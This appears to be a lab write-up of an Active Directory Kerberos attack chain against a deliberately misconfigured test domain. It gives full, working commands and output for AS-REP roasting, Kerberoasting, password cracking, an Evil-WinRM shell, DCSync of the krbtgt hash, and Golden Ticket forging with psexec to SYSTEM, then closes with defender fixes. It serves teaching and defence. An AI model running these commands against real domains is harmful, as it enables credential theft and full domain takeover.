pentest.lab — the Kerberos kill chain
No CVE, no memory corruption, no exploit. A domain stood up from a blank Server 2022 VM, then seeded the way real domains rot — a service account with an SPN, a user with pre-auth switched off, passwords a wordlist already knows. From zero credentials on the wire to NT AUTHORITY\SYSTEM on the domain controller, every single step is Kerberos abuse: roast, crack, log in, replicate, forge.
Executive summary
This isn't a found target — it's a purpose-built range, which is the point. The three weaknesses planted in it (an AS-REP-roastable user, a Kerberoastable service account, and a service account over-privileged into local admin on the DC) are not exotic. They are the three findings that show up, in some combination, on nearly every internal AD engagement. Chained together with the standard Impacket toolkit, they take an attacker who starts with nothing — no username, no password, just a cable on the domain subnet — all the way to the keys of the kingdom.
The whole path never touches a binary exploit. It abuses Kerberos exactly as designed: ask for tickets, crack the ones encrypted with weak keys, use the cracked identity to replicate secrets, then forge a ticket that the domain will trust forever.
| Credential / artifact | Value | Recovered via |
|---|---|---|
| jweak | Welcome1 | AS-REP roast — no pre-auth |
| svc_sql | Password123! | Kerberoast — MSSQLSvc SPN |
| svc_sql rights | BUILTIN\Administrators @ DC01 | over-privileged service account |
| krbtgt | NT caa690fb6b361d41b1ef3e9dd3a498de | DCSync |
| domain | SYSTEM on DC01 | Golden Ticket → pass-the-ticket |
What was planted, and why
The domain is a single Server 2022 DC — DC01, pentest.lab / PENTEST, static 192.168.56.10 on an isolated host-only network. After promotion it was seeded with ordinary users plus two accounts carrying deliberate, extremely common misconfigurations. Everything below is reproducible from the DC:
# Kerberoastable service account
# a user account carrying a Service Principal Name — the thing that makes it roastable New-ADUser -Name "SQL Service" -SamAccountName svc_sql ` -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) ` -Enabled $true -PasswordNeverExpires $true setspn -S MSSQLSvc/dc01.pentest.lab:1433 svc_sql
# AS-REP-roastable user
# "do not require Kerberos pre-authentication" — the AS-REP roast opening New-ADUser -Name "Jim Weak" -SamAccountName jweak ` -AccountPassword (ConvertTo-SecureString "Welcome1" -AsPlainText -Force) -Enabled $true Set-ADAccountControl -Identity jweak -DoesNotRequirePreAuth $true
svc_sql was also dropped into Administrators — a service account with local-admin rights on a domain controller. On a real engagement you don't create this; you find it. It's how the mid-chain pivot from "cracked a service password" to "own the DC" happens in the wild.Credentials with no credentials
AS-REP roasting needs nothing — no password, not even a valid username that authenticates. Any account with pre-auth disabled will hand the KDC a response encrypted with that user's password hash, before proving who it is. Feed Impacket a list of candidate names and it pulls back a crackable blob for any that qualify:
┌──(hex㉿kali)-[~] └─$ impacket-GetNPUsers pentest.lab/ -dc-ip 192.168.56.10 \ -usersfile users.txt -format hashcat -outputfile asrep.hash [-] User ajones doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User bsmith doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$jweak@PENTEST.LAB:118bdb53… ← the one that bit [-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
jweak coughed up a $krb5asrep$23$ hash. That single misconfiguration is the whole foothold.The 23 is RC4 — fast to crack. John autodetects the format; no mode flag needed:
└─$ john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt └─$ john asrep.hash --show $krb5asrep$23$jweak@PENTEST.LAB:Welcome1 1 password hash cracked, 0 left
First valid domain credential, obtained from a standing start: jweak:Welcome1.
One account buys the next
Kerberoasting needs any valid domain credential — and we just cracked one. Request a service ticket (TGS) for every account with an SPN; the ticket is encrypted with the service account's password hash, so it cracks offline with zero noise against the DC. Note the chain here: jweak's cracked password is what authorizes the roast of svc_sql.
└─$ impacket-GetUserSPNs pentest.lab/jweak:'Welcome1' -dc-ip 192.168.56.10 \ -request -outputfile kerb.hash ServicePrincipalName Name PasswordLastSet MSSQLSvc/dc01.pentest.lab:1433 svc_sql 2026-10-21 01:58:02 [+] TGS requested → $krb5tgs$23$*svc_sql$PENTEST.LAB$…
Then crack it. This one carried a lesson:
└─$ john kerb.hash --wordlist=/usr/share/wordlists/rockyou.txt 0 password hashes cracked, 1 left ← rockyou doesn't contain Password123!
rockyou.txt does not contain Password123! — a password a human would call obvious. A clean rockyou run reported the Kerberoast as a failure. Against a real corporate password it would have missed silently. The fix is rules, not a bigger list — --rules=KoreLogic for John, or -r best64.rule / -r dive.rule for hashcat — which mutate base words into Word123!-style corporate patterns. Confirmed directly here:└─$ echo 'Password123!' > pw.txt && john kerb.hash --wordlist=pw.txt Password123! (?) 1 password hash cracked, 0 left
The hash was always crackable — the list just didn't know the word. Second credential down: svc_sql:Password123!.
The over-privileged service account pays off
A cracked service password is only as useful as what the account can reach. WinRM logon isn't granted to ordinary users — the account needs Remote Management Users or Administrators. svc_sql, as planted, sits in Administrators on the DC itself. Evil-WinRM turns that into an interactive shell:
└─$ evil-winrm -i 192.168.56.10 -u svc_sql -p 'Password123!' Info: Establishing connection to remote endpoint Info: Connection successful *Evil-WinRM* PS C:\Users\svc_sql\Documents> whoami /groups | findstr /i "S-1-5-32-544" BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group
S-1-5-32-544 enabled means svc_sql is a live administrator on a domain controller. Admin on a DC isn't "a host" — it's the directory itself. From here, every secret in the forest is readable.Ask the DC to replicate its own secrets
With DC-admin rights, there's no need to touch disk or drop a tool on the box. DCSync uses the directory replication protocol (DRSUAPI) — the same mechanism DCs use to sync with each other — to ask for account hashes over the wire. The one that matters is krbtgt, the account whose key signs every Kerberos ticket in the domain:
└─$ impacket-secretsdump pentest.lab/svc_sql:'Password123!'@192.168.56.10 \ -just-dc-user krbtgt [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b…:caa690fb6b361d41b1ef3e9dd3a498de::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:cdc6bcd004e18fa6…
Forge a ticket the domain will trust forever
A Golden Ticket needs two things: the krbtgt hash (just dumped) and the domain SID. Grab the SID with the creds already in hand:
└─$ impacket-lookupsid pentest.lab/svc_sql:'Password123!'@192.168.56.10 | grep "Domain SID" [*] Domain SID is: S-1-5-21-4111544160-324255760-3512759592
Forge a TGT for Administrator entirely offline — the DC is never contacted during the forge. Then load it into the Kerberos environment and ride it straight back in with pass-the-ticket:
└─$ impacket-ticketer -nthash caa690fb6b361d41b1ef3e9dd3a498de \ -domain-sid S-1-5-21-4111544160-324255760-3512759592 \ -domain pentest.lab Administrator [*] Saving ticket in Administrator.ccache └─$ export KRB5CCNAME=Administrator.ccache └─$ impacket-psexec -k -no-pass pentest.lab/Administrator@dc01.pentest.lab [*] Found writable share ADMIN$ [*] Creating service zrhN on dc01.pentest.lab..... C:\Windows\system32> whoami nt authority\system
-k -no-pass tells psexec to authenticate with the forged ticket alone. The DC validated a TGT it signed — except it didn't; we signed it, with its own stolen key. That's the Golden Ticket: indistinguishable from a legitimate logon, and valid until krbtgt is rotated (twice). nt authority\system on the DC is total, persistent domain compromise.What the defender should fix
- Kill AS-REP exposure. No account should carry "do not require pre-authentication." Audit it:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}. Alert on Event 4768 (TGT request) with pre-auth type 0. - Make service accounts un-roastable. Move SPNs to gMSAs (120-char machine-managed passwords) or enforce 25+ char random passwords on any user-based service account. Force AES-only and watch Event 4769 for RC4 (
0x17) TGS requests — that's the roast. - Tier your admins. A service account in
Administratorson a DC is the single worst finding here. Service accounts get the least privilege that runs the service — never local admin on a DC, never Domain Admin. Apply a tier model so tier-0 (DC) credentials never live on, or are grantable by, lower tiers. - Restrict replication rights. DCSync works for anyone holding
DS-Replication-Get-Changes+-All. Audit who has them (should be DCs and almost nothing else) and alert on Event 4662 referencing the replication GUIDs from non-DC principals. - Assume krbtgt is burned. Once that hash leaks, forged tickets are undetectable by signature. Rotate the krbtgt password twice (second rotation after the first has replicated) to invalidate every outstanding Golden Ticket, and do it on a schedule regardless.
- Patch the human layer.
Welcome1andPassword123!both die to a wordlist with rules. Length-based policy (15+ char passphrases) and banned-password lists take the whole chain off the table at step one.